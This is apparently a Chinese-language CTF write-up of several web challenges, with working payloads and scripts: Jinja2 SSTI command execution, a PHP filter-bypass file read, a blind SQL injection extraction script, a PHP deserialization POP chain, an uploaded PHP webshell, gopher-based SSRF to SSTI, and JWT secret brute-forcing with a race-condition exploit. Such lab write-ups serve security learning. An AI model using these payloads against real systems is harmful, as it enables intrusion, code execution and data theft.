Jinja2 預設有 cycler 這類全域物件,我們可以用它的 init.globals 拿到 builtins,進而用 import 匯入標準庫,然後依序呼叫:

random.choice

textwrap.dedent

statistics.fmean

difflib.get_close_matches

json.load(用 io.StringIO 做成檔案物件,餵 ‘null’ 這種合法 JSON)

1
2
3
4
5
6
7
8
9
10
{{ (
cycler.__init__.__globals__.__builtins__.__import__('random').choice([1]),
cycler.__init__.__globals__.__builtins__.__import__('textwrap').dedent(' x'),
cycler.__init__.__globals__.__builtins__.__import__('statistics').fmean([1,2,3]),
cycler.__init__.__globals__.__builtins__.__import__('difflib').get_close_matches('a',['a','b']),
cycler.__init__.__globals__.__builtins__.__import__('json').load(
cycler.__init__.__globals__.__builtins__.__import__('io').StringIO('null')
)
) }}


ef56a5efc879fdd92a4459e1d6f850f4.png

4.ez-chain (复刻)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
$waf = array('/',':','php','base64','data','zip','rar','filter','flag');
foreach ($waf as $waf_word) {
if (stripos($file, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}

function filter_output($data) {
$waf = array('f');
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
while (true) {
$decoded = base64_decode($data, true);
if ($decoded === false || $decoded === $data) {
break;
}
$data = $decoded;
}
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}

if (isset($_GET['file'])) {
$file = $_GET['file'];
if (filter($file) !== true) {
die();
}
$file = urldecode($file);
$data = file_get_contents($file);
if (filter_output($data) !== true) {
die();
}
echo $data;
}
highlight_file(__FILE__);

?>

輸入檢查 filter($file):
在 urldecode 前就檢查,擋到這些子字串就死:

  • /、:(所以你直接打 php://…、/flag 會死)
  • php、filter、base64、data、zip、rar、flag

輸出檢查 filter_output($data):

它會擋 字母 f(不分大小寫):

  • 先在原始輸出 $data 檢查一次有沒有 f
  • 然後會一直嘗試 base64_decode(只要解得出來而且內容有變就繼續解)
  • 最後再檢查一次有沒有 f

這裹要URL encode 一下再看看waf是否可刷到:

ddf8beeb5c9e1492ae61d69ffc242a0b.png

防了….

683c0600f25723da8e3743a7138bb880.png

在瀏覽器網址列輸入時,被瀏覽器「自動 normalize」

有些瀏覽器/代理會把 %2f 解成 / 再送出。

直接用 double url encoding

d364ce65860936cee00f9bf8724aad6a.png

沒問題了

php://filter/read=zlib.deflate/resource=/flag

因為輸出是 deflate 壓縮過的二進位,直接噴終端機會亂掉。

31936840c67d28eb5a531fcac1f9329a.png
1
curl "http://127.0.0.1:12649/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%32%25%36%35%25%36%31%25%36%34%25%33%64%25%37%61%25%36%63%25%36%39%25%36%32%25%32%65%25%36%34%25%36%35%25%36%36%25%36%63%25%36%31%25%37%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37" --output out.bin

fa3ffad90ebf18502ff6f609237cd788.png

5.白帽小 K 的故事(2) (复刻)

sql來的:

用一用字典:

‘1’=’1 500

admin’ 500

QQ_1779703911581.png
1
SELECT 1 from Terra.animal WHERE name = '$name'

寫一個盲注腳本爆庫:

時間盲注來的 AND 1=1 和 1=2 都返回并没有这种干员

1
2
3
4
5
6
7
8
9
10
11
12
13
設定目標字串長度與字元範圍(如 ASCII 32 到 126)
對於 目標字串的每一個位置 (i = 1 到 N):
利用二分搜尋法尋找正確的 ASCII 碼:
構造包含邏輯判斷的 Payload (例如: 判斷第 i 個字元的 ASCII 是否大於 X)
發送 HTTP 請求給目標系統

如果是布林盲注:
檢查網頁內容是否包含特定「成功關鍵字」
如果是時間盲注:
檢查伺服器回應時間是否大於設定的閾值 (如 5 秒)

根據二元結果,縮小下一次猜測的 ASCII 範圍
將找到的字元拼接到最終結果中

exp:

二分搜尋法盲注腳本:

先爆庫:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import string
import time

url = 'http://127.0.0.1:14233/search'

result = ''

# 長度放寬,確保把後面的 ,users,flag_table 一網打盡
for i in range(1, 150):
print(f'\n[+] Bruting at position {i}')

# 範圍從 1 開始,因為 0 代表字串結束
low = 1
high = 126
current_char_ascii = 0

while low <= high:
time.sleep(0.05)
mid = (low + high) // 2
print(f'\r[+] Trying ASCII: {mid}', end='', flush=True)

tables = f"(select(group_concat(schema_name))from(information_schema.schemata))"
char = f'(ascii(substr({tables},{i},1)))'

# 二分法大於判定 + 你的 and'1'='1 補尾巴
p = f"amiya'and({char}>{mid})and'1'='1"
res = requests.post(url, data={'name': p})

if res.json().get("status") == "ok":
low = mid + 1
else:
# 補測等於判定
p_equal = f"amiya'and({char}={mid})and'1'='1"
res_equal = requests.post(url, data={'name': p_equal})

if res_equal.json().get("status") == "ok":
current_char_ascii = mid
break
high = mid - 1

# 核心修正:在 MySQL 中,只有超出字串長度時,ascii() 才會吐出 0
# 當鎖定的 ASCII 是 0 或是根本沒找到(保持0),才代表整串表名拿完了
if current_char_ascii == 0:
print(f'\n[+] 【全部資料表抓取完畢!】最終結果: {result}')
break
else:
actual_char = chr(current_char_ascii)
result += actual_char
print(f'\n[*] bingo: {actual_char}')
print(f'[->] Current Table List: {result}')

[+] Bruting at position 59
[+] Trying ASCII: 15
[+] 【全部資料表抓取完畢!】最終結果: mysql,information_schema,performance_schema,sys,Terra,Flag

1
2
3
4
tables = f"(select(group_concat(schema_name))from(information_schema.schemata))"
tables = f"(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(\"Flag\")))"
tables = f"(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(\"flag\")))"
tables = f"(select(group_concat(flag))from(Flag.flag))"

[+] Bruting at position 43
[+] Trying ASCII: 15
[+] 【全部資料表抓取完畢!】最終結果: flag{b4298f32-d81f-c4a0-5c85-83d09422edd9}

Week4

1.小羊走迷宫

1075cc9df96a2e894e380357af969f8f.png 30ac3f125be28631ecaa57dd7132fb16.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

<?php
include "flag.php";
error_reporting(0);
class startPoint{
public $direction;
function __wakeup(){
echo "gogogo出发咯 ";
$way = $this->direction;
return $way();
}
}
class Treasure{
protected $door;
protected $chest;
function __get($arg){
echo "拿到钥匙咯,开门! ";
$this -> door -> open();
}
function __toString(){
echo "小羊真可爱! ";
return $this -> chest -> key;
}
}
class SaySomething{
public $sth;
function __invoke()
{
echo "说点什么呢 ";
return "说: ".$this->sth;
}
}
class endPoint{
private $path;
function __call($arg1,$arg2){
echo "到达终点!现在尝试获取flag吧"."<br>";
echo file_get_contents($this->path);
}
}

if ($_GET["ma_ze.path"]){
unserialize(base64_decode($_GET["ma_ze.path"]));
}else{
echo "这个变量名有点奇怪,要怎么传参呢?";
}
?>

PHP中关于非法参数名传参问题

可以看見

1
2
3
4
5
6

if ($_GET["ma_ze.path"]){
unserialize(base64_decode($_GET["ma_ze.path"]));
}else{
echo "这个变量名有点奇怪,要怎么传参呢?";
}

GET傳參 unserialize(base64_decode($_GET[“ma_ze.path”]));

https://blog.csdn.net/mochu7777777/article/details/115050295

第一關 get 參數, Payload如下:

?mo[chu.7=xxx

POP鏈

先找入口出口 , __wakeup() , 首先会调用startPoint的__wakeup,因为它有__wakeup方法

public $direction;

public $sth;

只有這兩個可用的變量

其他都是protected 和 private

1
2
3
 (Treasure类的$door和$door和door和
door和chest属性是protected的,不能直接访问。
我们需要使用反射或者手动构造序列化字符串)

我們來POP链构造:

start->direction=say

say->sth = t2

t2……

t1…..

end……

的反轉

省流php代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class startPoint{
public $direction;
}

class SaySomething{
public $sth;
}

class Treasure{
protected $door;
protected $chest;
}

class endPoint{
private $path;
}

// 创建对象
$endpoint = new endPoint();
$treasure1 = new Treasure();
$treasure2 = new Treasure();
$say = new SaySomething();
$start = new startPoint();

// 使用反射设置private和protected属性
$reflection = new ReflectionClass($endpoint);
$property = $reflection->getProperty('path');
$property->setAccessible(true);
$property->setValue($endpoint, "./flag.php");

$reflectionTreasure = new ReflectionClass($treasure1);
$propertyDoor = $reflectionTreasure->getProperty('door');
$propertyDoor->setAccessible(true);
$propertyDoor->setValue($treasure1, $endpoint);

$propertyChest = $reflectionTreasure->getProperty('chest');
$propertyChest->setAccessible(true);
$propertyChest->setValue($treasure2, $treasure1);

// 构建利用链
$say->sth = $treasure2;
$start->direction = $say;

$payload = serialize($start);
echo "Payload: " . base64_encode($payload) . "\n";
echo "URL: ?ma_ze.path=" . urlencode(base64_encode($payload)) . "\n";
?>

可以先試試 say “i am gay” , 看看 start 能不能echo “说点什么呢 “. “说: “.”i am gay”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class startPoint{
public $direction;
}

class SaySomething{
public $sth ;
}

class Treasure{
protected $door;
protected $chest;
}

class endPoint{
private $path;
}

$a = new startPoint() ;
$b = new SaySomething() ;
$b->sth = "i am gay " ;
$a->direction = $b ;

echo urlencode(base64_encode(serialize($a)))


?>

TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO3M6OToiaSBhbSBnYXkgIjt9fQ%3D%3D

8e51236fc846dbb73724e589eb64e8bb.png

看來沒有打印 , 可以看見say函數是return $this->sth ;

我應該要令它= t2 ,

t2->chest = t1;

t1->door = end

end -> path = “./flag.php”

所以大概是這樣子的:

1
2
3
4
5
6
7
8
9
10
11
12
13
$end = new endPoint();      
$t1 = new Treasure();
$t2 = new Treasure();
$say = new SaySomething();
$start = new startPoint();

$end->path = "./flag.php";

$t1->door = $end;
$t2->chest = $t1;

$say->sth = $t2;
$start->direction = $say;

但是有一個問題t1 t2 end 不是public 的参數 , 此時我們需要反射或者手动构造序列化字符串

b4529bea14119d9aee7d9fe1bafbe336.png

deepseek給了一個例子了 , 抄它的了 , 把變量名字寫清楚如上 , 最後flag在回應裹。

2.武功秘籍

dirsearch一下:

8f10990a9af18e11530e48cd45ffc406.png

發現admin admin 能登入 , 有一個上傳文件的地方 :

a3fc7ed21d05885e0b147d2b7374f6d9.png

看看BP抓包能不恃能修改:

413a12393c875218bb68f4830713093f.png

Content-Type: application/octet-stream是不能上傳的, 這裹先把它改成text/plain

把文件改成tpl.config , 成功上傳

8e7db669d8659287335a13162c55f2c9.png

url/dcr/tpl_import_action.php

ab917802402e2124a50e2874ff1c6e54.png

還有在新闻中心發現可以上傳文件

先添加分类 1234

9be13db9188438c13f0a46b7a220dc3e.png

添加新闻 , 選擇jpg的payload , payload如下 , 然後改成jpg檔

1
2
3
4
5
6
7
8
9
10
11
<?php
@error_reporting(0);
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
}else{
phpinfo();
}
?>
5727924543e78ea9ea44e2fd1979c340.png

最後在文件管理器/upload/new/…./找到jpg檔把它重新命名為php檔:

成功fuzz了!!!!!!

652dd9e90452a14545c289bf3bf0aa7e.png

3.ssti在哪里?(复刻)

服务端请求伪造(Server-Side Request Forgery, SSRF),是指构造 Payload 让服务端去发送一个请求,由于服务端位于内网,往往能通过 SSRF 攻击内网靶标。漏洞的核心在于通过构造请求,使已被控制的服务器发送任意请求到后端内容。

如果你对 SSRF 完全不了解,你可以查看 Drunkbaby 师傅总结的 从 0 到 1 完全掌握 SSRF 来进行学习。

看了看源碼,這是一個非常經典的單容器多服務

bc219eff-ae79-495b-bd8e-47086c68450b.png

有curl_exec();

c74ac6c3-778a-4186-ba4f-5b0a1e7f6f86.png 08cd66b2-7432-49af-b205-70f9ccd0d8aa.png

同一個容器內其實同時跑了 3 個 Web 服務:

5000

5001

php主頁

2aab39e8-e3ca-494a-9381-f283ddd66500.png 12af6c52-9fd9-4657-ab96-6e9ad5e4912b.png

向5001發一個POST template , 因為是SSRF , 所以要用一些协议

c1ec5ffbde2936557a7aec5a2a20d60e.png

payload:

(POST) $\rightarrow$ 外網 PHP (SSRF) $\rightarrow$ app.py (5000埠 POST) $\rightarrow$ internal_web.py (5001埠 SSTI)->Jinja SSTI

url=http://127.0.0.1:5000/&name=49 試了試:

1
2
3
4
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

500了

先了解dict协议 : redis 与 dict 协议

Gopher

SSRF的危险协议

Gopher 協議(Gopher protocol)在互聯網歷史上是個老古董,早在 HTTP 流行之前,它是用來在互聯網上查找和檢索文件的。Gopher 允許我們發送任意格式的 TCP 數據流。

當你在打 SSRF 時,通常你只能控制一個 URL。如果你用 http:// 協議,後端的 cURL 預設只會幫你發送一個標準的 GET 請求 。但如果內網的服務(比如這題的 internal_web.py,它需要接收 template 參數)死活只收 POST 表單請求時 ,單純的 http:// 就廢了

源碼只收POST表單:

用 gopher:// 協議,從零開始「手捏」一個完整的 HTTP POST 數據包,包含 Header、換行符、甚至 Body,然後讓受害伺服器的 cURL 把這坨自定義的數據原封不動地透過 TCP 丟給內網服務。

它的標準格式是:

1
gopher://<目標IP>:<目標端口>/_<你的原始數據>
6da1256011864a481ac1f9a9e454930b.png

先學一學gopher 的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
import urllib.parse
post_data = "template={{7*7}}"
content_length = len(post_data)
gopher_payload = f"""POST / HTTP/1.1
Host: localhost:5001
Content-Type: application/x-www-form-urlencoded
Content-Length: {content_length}

{post_data}"""

gopher_payload = gopher_payload.replace("\n", "\r\n")
gopher_url = "gopher://localhost:5001/_" + urllib.parse.quote(gopher_payload)
print(gopher_url)

SSTI

沒問題:

2a18350a7b5d0a4f4947e473a09a09fc.png

試一試os 能不能ls :

1
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

app.py
internal_web.py
requirements.txt
start.sh

ls /

後面就可以cat flag 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib.parse
#post_data = "template={{7*7}}"
#post_data = "template={{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}"
post_data = "template={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
content_length = len(post_data)

gopher_payload = f"""POST / HTTP/1.1
Host: 127.0.0.1:5001
Content-Type: application/x-www-form-urlencoded
Content-Length: {content_length}

{post_data}"""

gopher_payload = gopher_payload.replace("\n", "\r\n")
gopher_url = "gopher://localhost:5001/_" + urllib.parse.quote(gopher_payload)
print(gopher_url)

4.

Week5

1.眼熟的计算器

這是一個用java寫的計算器 , 看看jar , 改成zip 解壓:
8f6c4313-0246-4426-a428-9f88e1e6c709.png

用jadx打開 , 可以找到:

0ad708e8-7dc9-4ce2-b141-c7c635512923.png 75f72059-3571-46fb-a8d5-c2d17c5925ec.png

測試一下 java可不可以注入:

Java.type(‘java.lang.String’)

70542e50-c298-43d4-8197-f1c29e4db672.png

測試全局對象:

  • Object.keys(this)
  • Object.getOwnPropertyNames(this)

測試內置對象:

  • Math.PI
  • new Date().toString()
  • JSON.stringify({test: 123})

字符串操作:

  • ‘hello’.length
  • ‘hello’ + ‘ world’

數組操作:

  • [1,2,3].join(‘-‘)

函數操作:

  • (function(){return 123})()

測試eval和Function:

  • eval(‘1+1’)
  • Function(‘return 789’)()

編碼函數:

  • btoa(‘hello’)
  • atob(‘aGVsbG8=’)
  • encodeURI(‘hello world’)
  • decodeURI(‘hello%20world’)

原型鏈:

  • Object.prototype
  • Object.constructor

特殊對象:

  • arguments
  • this

環境變量:

  • process && process.env
  • global

Node.js對象:

  • typeof require
  • module
  • exports

用ai生成黑名單關鍵字爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
javascript
java
lang
Runtime
getRuntime
exec
ProcessBuilder
start
Class
forName
getMethod
invoke
System
getProperty
getenv
File
Scanner
BufferedReader
FileReader
InputStream
OutputStream
read
write
reflect
Method
Field
Constructor
cmd
sh
bash
powershell
command
cat
flag
ls
pwd
whoami
id
eval
Function
setTimeout
setInterval
decodeURI
decodeURIComponent
atob
btoa
String
fromCharCode
charCodeAt
import
require
include
load
window
document
location
navigator
this
global
self
top
.
(
)
[
]
{
}
'
"
`
$
&
*
+
-
/
\
|
5f3f2d03-cc30-493f-92f9-b96035b4376c.png

測試JavaScript全局對象:

1
攔截: `Runtime`, `ProcessBuilder`, `exec()`, `start()`, 反射方法
743079df-5d15-4ad7-b75d-9ca415a0485a.png 22957f1d-7cec-4476-9336-83d325f0c36a.png

用字符串拼接

eval 是 200 : val(‘jav’ + ‘a.lang.Runt’ + ‘ime.getRunt’ + ‘ime().exec(“ls”)’)

ddcf7a8e-108a-459c-add3-87bca89e8c7b.png

點號組合好像是沒有問題的

java . lang

使用Java的Files.readAllLines()方法成功讀取了flag文件:

Files類的特殊性:

  • java.nio.file.Files 是Java 7引入的新API
  • 主要用於文件操作,不是典型的命令執行類
  • 方法名 readAllLines 看起來像是安全的文件讀取操作

java.nio.file.Files.readAllLines(java.nio.file.Paths.get(‘/flag’)).get(0)

2.废弃的网站

先看看条件竞争這個概念:

https://zhuanlan.zhihu.com/p/403063546#:~:text=%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89%E6%BC%8F%E6%B4%9E%EF%BC%88Race%20condition,%E8%84%8F%E7%89%9B%EF%BC%88dirty%20cow%EF%BC%89%E3%80%82

看看app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, abort, redirect, render_template_string
import jwt, hashlib, time

app = Flask(__name__)
time_started = round(time.time())
print(f"System started at {time_started}")
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()

tempuser = None

USER_DB = {
"admin": {"id": 1, "role": "admin", "name": "Administrator"},
"guest": {"id": 2, "role": "guest", "name": "Guest User"},
}

def admin_required(f):
def wrapper(*args, **kwargs):
cookie = request.cookies.get('session', None)
if cookie is None:

response = redirect('/')
session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
response.set_cookie('session', session)
return response
try:
user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
if user_data['role'] != 'admin':
abort(403, description="Admin access required.")
if user_data['name'] != 'Administrator':
abort(403, description="Admin access required.")
time.sleep(0.15)
except jwt.InvalidTokenError:
abort(401, description = f"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.")
return f(*args, **kwargs)
wrapper.__name__ = f.__name__
return wrapper

@app.before_request
def load_user():
if request.endpoint == 'static':
return
global tempuser
cookie = request.cookies.get('session', None)
if cookie is None:
tempuser = USER_DB['guest']
session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')
response = redirect(request.path)
response.set_cookie('session', session)
return response
try:
user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
tempuser = user_data
except jwt.InvalidTokenError:
session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
content = render_template_string(
"Session expired. Please log in again. System has been running %d seconds." %
(round(time.time() - time_started))
)
response = app.make_response((content, 401))
response.set_cookie('session', session)
return response

@app.route('/', methods=['GET'])
def home():
return render_template('index.html')


@app.route("/admin", methods=['GET'])
@admin_required
def admin_panel():
global tempuser
return render_template_string("Welcome Back, %s" % tempuser['name'])

@app.route("/static/<path:filename>", methods=['GET'])
def serve_static(filename):
if not filename.endswith('.png'):
abort(403, description="Only .png files are allowed.")
return app.send_static_file(filename)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
d937c042-f0a4-4d35-87e8-808004609d98.png

可以看見這兩用戶的DB

2e5932f7-74b9-4686-821a-03330f9f1f58.png

這個是一開始打開網站時會發出來的

我們可以在cookie下找到guest的token

token的結構是jwt , 我們可以在jwt.io看看:

https://www.jwt.io/

a3486944-b81b-4c32-9c25-f84d65bf795c.png

上面是加密方式,中間是身份信息,後面是secret , 我現在要找到secret并偽造admin的token

以下是python腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
import jwt
import hashlib
import time

# 你的网站
url = "http://8.147.132.32:24750/"

# 创建会话
session = requests.Session()
session.verify = False

print("正在寻找网站密钥...")

# 1. 获取运行时间
try:
r = session.get(url + '/admin', cookies={'session': 'invalid'})
print("获取错误信息...")

if 'System has been running' in r.text:
import re
match = re.search(r'System has been running (\d+) seconds', r.text)
if match:
uptime = int(match.group(1))
print(f"网站运行了: {uptime} 秒")

# 2. 计算启动时间
current_time = int(time.time())
time_started = current_time - uptime
print(f"网站启动时间大约是: {time_started}")

# 3. 在附近找正确的密钥
print("正在尝试可能的密钥...")
for ts in range(time_started - 300, time_started + 300):
secret = hashlib.sha256(str(ts).encode()).hexdigest()

# 测试这个密钥是否正确
try:
# 用已知的guest token测试
guest_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6Imd1ZXN0IiwibmFtZSI6Ikd1ZXN0IFVzZXIifQ.C7nbrf18MKTAzyZRtBdgid4DO2ug6W8ApHIfR8tCbAE"
decoded = jwt.decode(guest_token, secret, algorithms=['HS256'])

# 如果成功解码,就找到了!
print("找到密钥了!")
print(f"启动时间戳: {ts}")
print(f"密钥: {secret}")

# 4. 用这个密钥造管理员token
admin_data = {
"id": 1,
"role": "admin",
"name": "Administrator"
}
admin_token = jwt.encode(admin_data, secret, algorithm='HS256')
print(f"🪪 管理员Token: {admin_token}")

# 测试能不能进管理员页面
r = session.get(url + '/admin', cookies={'session': admin_token})
if r.status_code == 200:
print("成功进入管理员页面!")
print("现在可以用这个密钥做SSTI攻击了")
break

except:
# 密钥不对,继续试
if ts % 100 == 0:
print(f"尝试中... {ts}")
continue

else:
print("没有找到运行时间信息")

except Exception as e:
print(f"错误: {e}")
2e448acc-862a-491a-8c57-2789d6c94b14.png

最後找到了 , 但是在/admin沒有找到flag , /admin/都沒有 , 這裹要在/admin的Welcome Back, {???} 進行ssti注入 , cat /flag* , 以下為ssti的命令:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()}}

但是只是這樣是不可以拿到flag的, 我要通过大量guest请求修改了全局的tempuser变量 , 将恶意SSTI payload注入到tempuser[‘name’]字段 , 在admin检查通过后、实际渲染前 , 成功将tempuser替换为包含SSTI payload的guest用户数据

線程1: Guest請求洪水攻擊

1
2
3
4
5
6
7
def flood_guest():
nonlocal success
while not success:
try:
requests.get(url, cookies={'session': malicious_token}, timeout=0.1)
except:
pass

線程2: Admin請求嘗試

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def try_admin():
nonlocal success
for i in range(50):
if success:
break
try:
r = requests.get(url + '/admin', cookies={'session': admin_token}, timeout=1)
# 檢查響應中是否包含flag
if "flag" in r.text or "{" in r.text:
print(f"[SUCCESS] 找到flag: {r.text}")
success = True
break
except:
pass

然後:

1
2
3
4
5
6
7
8
t1 = threading.Thread(target=flood_guest)
t2 = threading.Thread(target=try_admin)

t1.start()
t2.start()

t2.join()
t1.join()

最後腳本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
import threading
import time

url = "http://8.147.132.32:24750/"
secret = "812f7d41b298c20d8cb041daaa8c142b181838821de5647ad29fa4ef79c084f7"

def precise_race_attack():
import jwt

# 创建恶意guest token
malicious_guest = {
"id": 2,
"role": "guest",
"name": "{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()}}"
}
malicious_token = jwt.encode(malicious_guest, secret, algorithm='HS256')

admin_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6ImFkbWluIiwibmFtZSI6IkFkbWluaXN0cmF0b3IifQ.LxCAaYZoEHhEzz26avKldy1azGXTX_XKQNBtSLn9QgY"

success = False

def flood_guest():
nonlocal success
while not success:
try:
requests.get(url, cookies={'session': malicious_token}, timeout=0.1)
except:
pass

def try_admin():
nonlocal success
for i in range(50):
if success:
break
try:
r = requests.get(url + '/admin', cookies={'session': admin_token}, timeout=1)
if "flag" in r.text or "{" in r.text:
print(f"[SUCCESS] 找到flag: {r.text}")
success = True
break
elif "Welcome Back, {{" in r.text:
print(f"[!] SSTI触发但未成功: {r.text[:100]}")
except:
pass

print("[*] 启动精确竞争攻击...")

t1 = threading.Thread(target=flood_guest)
t2 = threading.Thread(target=try_admin)

t1.start()
t2.start()

t2.join()
t1.join()

precise_race_attack()
09fe970a-f75d-45fa-bd63-bde8d2a85d32.png